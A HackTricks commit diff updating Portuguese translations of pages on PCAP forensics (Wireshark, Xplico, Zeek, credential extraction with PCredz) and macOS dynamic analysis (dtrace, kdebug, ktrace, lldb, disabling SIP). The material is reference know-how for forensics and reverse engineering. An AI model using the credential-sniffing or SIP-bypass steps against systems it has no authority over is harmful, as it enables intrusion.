mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol
This commit is contained in:
parent
bd9ff86c3f
commit
3d1b96917a
11 changed files with 575 additions and 374 deletions
|
@ -637,6 +637,7 @@
|
|||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -29,6 +29,7 @@ Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arqui
|
|||
* Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
|
||||
* Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Análise completa de pcap a partir do navegador em** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Extrair Informações
|
||||
|
||||
|
@ -37,7 +38,7 @@ As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
|
|||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**Se você for analisar um PCAP, basicamente deve saber como usar o Wireshark**
|
||||
**Se você vai analisar um PCAP, basicamente deve saber como usar o Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
Você pode encontrar alguns truques do Wireshark em:
|
||||
|
@ -46,6 +47,10 @@ Você pode encontrar alguns truques do Wireshark em:
|
|||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
Análise de pcap a partir do navegador.
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, a partir de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todos os conteúdos HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
|
||||
|
@ -62,7 +67,7 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Acesse _**127.0.0.1:9876**_ com credenciais _**xplico:xplico**_
|
||||
Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
|
||||
|
||||
Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça upload do arquivo pcap**.
|
||||
|
||||
|
@ -95,21 +100,21 @@ Se você está **procurando** por **algo** dentro do pcap, você pode usar o **n
|
|||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Esculpir
|
||||
### Escavação
|
||||
|
||||
O uso de técnicas comuns de escultura pode ser útil para extrair arquivos e informações do pcap:
|
||||
O uso de técnicas comuns de escavação pode ser útil para extrair arquivos e informações do pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Capturando credenciais
|
||||
### Captura de credenciais
|
||||
|
||||
Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -148,7 +153,7 @@ Verifique se consegue encontrar alguma impressão digital de um malware conhecid
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
|
||||
|
||||
Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão.
|
||||
```bash
|
||||
|
@ -235,7 +240,7 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -245,10 +250,10 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares stealers**.
|
||||
|
||||
O principal objetivo do WhiteIntel é combater invasões de contas e ataques de ransomware resultantes de malwares que roubam informações.
|
||||
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
|
||||
|
||||
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
|
||||
|
||||
|
@ -155,13 +155,17 @@ x64:
|
|||
| **4º argumento** | **rcx** | **2º argumento para o método** |
|
||||
| **5º argumento** | **r8** | **3º argumento para o método** |
|
||||
| **6º argumento** | **r9** | **4º argumento para o método** |
|
||||
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
|
||||
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) é uma ferramenta para obter Objc-Classes de dylibs.
|
||||
|
||||
### Swift
|
||||
|
||||
Com binários Swift, como há compatibilidade com Objective-C, às vezes é possível extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
|
||||
|
||||
Com os comandos de linha **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
|
||||
Com os comandos **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
|
||||
```bash
|
||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||
|
@ -186,7 +190,7 @@ swift demangle
|
|||
### Binários compactados
|
||||
|
||||
* Verificar alta entropia
|
||||
* Verificar as strings (se há quase nenhuma string compreensível, compactado)
|
||||
* Verificar as strings (se houver quase nenhuma string compreensível, está compactado)
|
||||
* O empacotador UPX para MacOS gera uma seção chamada "\_\_XHDR"
|
||||
|
||||
## Análise Dinâmica
|
||||
|
@ -199,9 +203,32 @@ Note que, para depurar binários, **o SIP precisa estar desativado** (`csrutil d
|
|||
Note que, para **instrumentar binários do sistema** (como `cloudconfigurationd`) no macOS, **o SIP deve estar desativado** (apenas remover a assinatura não funcionará).
|
||||
{% endhint %}
|
||||
|
||||
### APIs
|
||||
|
||||
O macOS expõe algumas APIs interessantes que fornecem informações sobre os processos:
|
||||
|
||||
* `proc_info`: Esta é a principal que fornece muitas informações sobre cada processo. Você precisa ser root para obter informações de outros processos, mas não precisa de privilégios especiais ou portas mach.
|
||||
* `libsysmon.dylib`: Permite obter informações sobre processos por meio de funções expostas via XPC, no entanto, é necessário ter a permissão `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
**Stackshotting** é uma técnica usada para capturar o estado dos processos, incluindo as pilhas de chamadas de todos os threads em execução. Isso é particularmente útil para depuração, análise de desempenho e compreensão do comportamento do sistema em um ponto específico no tempo. No iOS e macOS, o stackshotting pode ser realizado usando várias ferramentas e métodos como as ferramentas **`sample`** e **`spindump`**.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
Esta ferramenta (`/usr/bini/ysdiagnose`) basicamente coleta muitas informações do seu computador executando dezenas de comandos diferentes, como `ps`, `zprint`...
|
||||
|
||||
Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui permissões muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`.
|
||||
|
||||
Seu plist está localizado em `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, que declara 3 MachServices:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: Exclui arquivos antigos em /var/rmp
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: Porta especial 23 (kernel)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Interface de modo usuário por meio da classe `Libsysdiagnose` Obj-C. Três argumentos em um dict podem ser passados (`compress`, `display`, `run`)
|
||||
|
||||
### Logs Unificados
|
||||
|
||||
O MacOS gera muitos logs que podem ser muito úteis ao executar um aplicativo tentando entender **o que ele está fazendo**.
|
||||
O macOS gera muitos logs que podem ser muito úteis ao executar um aplicativo tentando entender **o que ele está fazendo**.
|
||||
|
||||
Além disso, existem alguns logs que conterão a tag `<private>` para **ocultar** algumas informações **identificáveis do usuário** ou do **computador**. No entanto, é possível **instalar um certificado para divulgar essas informações**. Siga as explicações de [**aqui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
|
@ -209,7 +236,7 @@ Além disso, existem alguns logs que conterão a tag `<private>` para **ocultar*
|
|||
|
||||
#### Painel esquerdo
|
||||
|
||||
No painel esquerdo do Hopper, é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas as definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
|
||||
No painel esquerdo do hopper é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas as definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
|
||||
|
||||
#### Painel central
|
||||
|
||||
|
@ -229,12 +256,12 @@ No painel direito, você pode ver informações interessantes, como o **históri
|
|||
|
||||
### dtrace
|
||||
|
||||
Ele permite aos usuários acessar aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo alterarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
|
||||
Ele permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo alterarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
|
||||
|
||||
O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada de sistema. Essas sondas podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através do /dev/dtrace, que está disponível apenas para o usuário root.
|
||||
O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada de sistema. Essas sondas podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre por meio de /dev/dtrace, que está disponível apenas para o usuário root.
|
||||
|
||||
{% hint style="success" %}
|
||||
Para habilitar o Dtrace sem desativar completamente a proteção do SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
|
||||
Para habilitar o Dtrace sem desativar completamente a proteção SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
|
||||
|
||||
Você também pode **`dtrace`** ou **`dtruss`** binários que **você compilou**.
|
||||
{% endhint %}
|
||||
|
@ -257,7 +284,7 @@ Uma explicação mais detalhada e mais exemplos podem ser encontrados em [https:
|
|||
|
||||
#### Exemplos
|
||||
|
||||
Execute `man -k dtrace` para listar os **scripts DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
|
||||
Execute `man -k dtrace` para listar os **scripts do DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
|
||||
|
||||
* Em linha
|
||||
```bash
|
||||
|
@ -307,12 +334,50 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
É uma facilidade de rastreamento do kernel. Os códigos documentados podem ser encontrados em **`/usr/share/misc/trace.codes`**.
|
||||
|
||||
Ferramentas como `latency`, `sc_usage`, `fs_usage` e `trace` o utilizam internamente.
|
||||
|
||||
Para interagir com `kdebug`, `sysctl` é usado sobre o namespace `kern.kdebug` e os MIBs a serem usados podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
|
||||
|
||||
Para interagir com kdebug com um cliente personalizado, geralmente são seguidos os seguintes passos:
|
||||
|
||||
* Remover as configurações existentes com KERN\_KDSETREMOVE
|
||||
* Definir o rastreamento com KERN\_KDSETBUF e KERN\_KDSETUP
|
||||
* Usar KERN\_KDGETBUF para obter o número de entradas de buffer
|
||||
* Obter o próprio cliente fora do rastreamento com KERN\_KDPINDEX
|
||||
* Habilitar o rastreamento com KERN\_KDENABLE
|
||||
* Ler o buffer chamando KERN\_KDREADTR
|
||||
* Para associar cada thread ao seu processo, chame KERN\_KDTHRMAP.
|
||||
|
||||
Para obter essas informações, é possível usar a ferramenta da Apple **`trace`** ou a ferramenta personalizada [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
|
||||
**Observe que o Kdebug está disponível apenas para 1 cliente por vez.** Portanto, apenas uma ferramenta com suporte a k-debug pode ser executada ao mesmo tempo.
|
||||
|
||||
### ktrace
|
||||
|
||||
Você pode usar este mesmo com o **SIP ativado**
|
||||
As APIs `ktrace_*` vêm de `libktrace.dylib`, que envolvem as do `Kdebug`. Assim, um cliente pode simplesmente chamar `ktrace_session_create` e `ktrace_events_[single/class]` para definir callbacks em códigos específicos e então iniciá-lo com `ktrace_start`.
|
||||
|
||||
Você pode usar este mesmo com **SIP ativado**.
|
||||
|
||||
Você pode usar como clientes a utilidade `ktrace`:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Ou `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
Isso é usado para fazer um perfil de nível de kernel e é construído usando chamadas `Kdebug`.
|
||||
|
||||
Basicamente, a variável global `kernel_debug_active` é verificada e, se estiver definida, chama `kperf_kdebug_handler` com o código `Kdebug` e o endereço do quadro do kernel chamando. Se o código `Kdebug` corresponder a um selecionado, ele obtém as "ações" configuradas como um bitmap (verifique `osfmk/kperf/action.h` para as opções).
|
||||
|
||||
Kperf também possui uma tabela MIB sysctl: (como root) `sysctl kperf`. Esses códigos podem ser encontrados em `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Além disso, um subconjunto da funcionalidade do Kperf reside em `kpc`, que fornece informações sobre contadores de desempenho da máquina.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) é uma ferramenta muito útil para verificar as ações relacionadas a processos que um processo está realizando (por exemplo, monitorar quais novos processos um processo está criando).
|
||||
|
@ -330,7 +395,7 @@ Você precisa monitorar seu Mac com um comando como **`sudo eslogger fork exec r
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) é uma ferramenta GUI com a aparência e sensação que os usuários do Windows podem conhecer do _Procmon_ da Microsoft Sysinternal. Esta ferramenta permite iniciar e parar a gravação de vários tipos de eventos, permite filtrar esses eventos por categorias como arquivo, processo, rede, etc., e fornece a funcionalidade de salvar os eventos gravados em um formato json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) é uma ferramenta GUI com a aparência que os usuários do Windows podem conhecer do _Procmon_ da Microsoft Sysinternal. Esta ferramenta permite iniciar e parar a gravação de vários tipos de eventos, permite filtrar esses eventos por categorias como arquivo, processo, rede, etc., e fornece a funcionalidade de salvar os eventos gravados em um formato json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
|
@ -363,7 +428,7 @@ lldb -p 1122
|
|||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
Você pode definir o sabor intel ao usar o lldb criando um arquivo chamado **`.lldbinit`** em sua pasta pessoal com a seguinte linha:
|
||||
Você pode definir o sabor da Intel ao usar o lldb criando um arquivo chamado **`.lldbinit`** em sua pasta pessoal com a seguinte linha:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -371,7 +436,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
Dentro do lldb, faça dump de um processo com `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar a execução, que continuará sem interrupções até atingir um ponto de interrupção ou o processo terminar.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar a execução do processo em depuração.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executar a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executar a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executar o restante das instruções na função atual ("frame") e parar.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar a execução. Se o processo foi iniciado (r) ou continuado (c), isso fará com que o processo pare ... onde quer que esteja executando no momento.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualquer função chamada main</p><p>b <nome_do_bin>`main #Função principal do binário</p><p>b set -n main --shlib <nome_da_biblioteca> #Função principal do binário indicado</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista de pontos de interrupção</p><p>br e/dis <número> #Ativar/Desativar ponto de interrupção</p><p>breakpoint delete <número></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando de ponto de interrupção</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <endereço_do_reg/memória</strong></td><td>Exibir a memória como uma string terminada por nulo.</td></tr><tr><td><strong>x/i <endereço_do_reg/memória</strong></td><td>Exibir a memória como instrução de montagem.</td></tr><tr><td><strong>x/b <endereço_do_reg/memória</strong></td><td>Exibir a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isto irá imprimir o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Observe que a maioria das APIs ou métodos Objective-C da Apple retornam objetos e, portanto, devem ser exibidos através do comando "print object" (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escrever AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escrever AAAA no endereço</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmontar a função atual</p><p>dis -n <nome_da_função> #Desmontar função</p><p>dis -n <nome_da_função> -b <nome_base> #Desmontar função<br>dis -c 6 #Desmontar 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Iniciar no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar array de 3 componentes no registro x1</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar a execução, que continuará sem interrupções até atingir um ponto de interrupção ou o processo terminar.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar a execução do processo em depuração.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executar a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executar a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executar o restante das instruções na função atual ("frame") e parar.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar a execução. Se o processo foi iniciado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando no momento.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualquer função chamada main</p><p>b <nome_do_bin>`main #Função principal do binário</p><p>b set -n main --shlib <nome_da_biblioteca> #Função principal do binário indicado</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista de pontos de interrupção</p><p>br e/dis <número> #Ativar/Desativar ponto de interrupção</p><p>breakpoint delete <número></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando de ponto de interrupção</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read 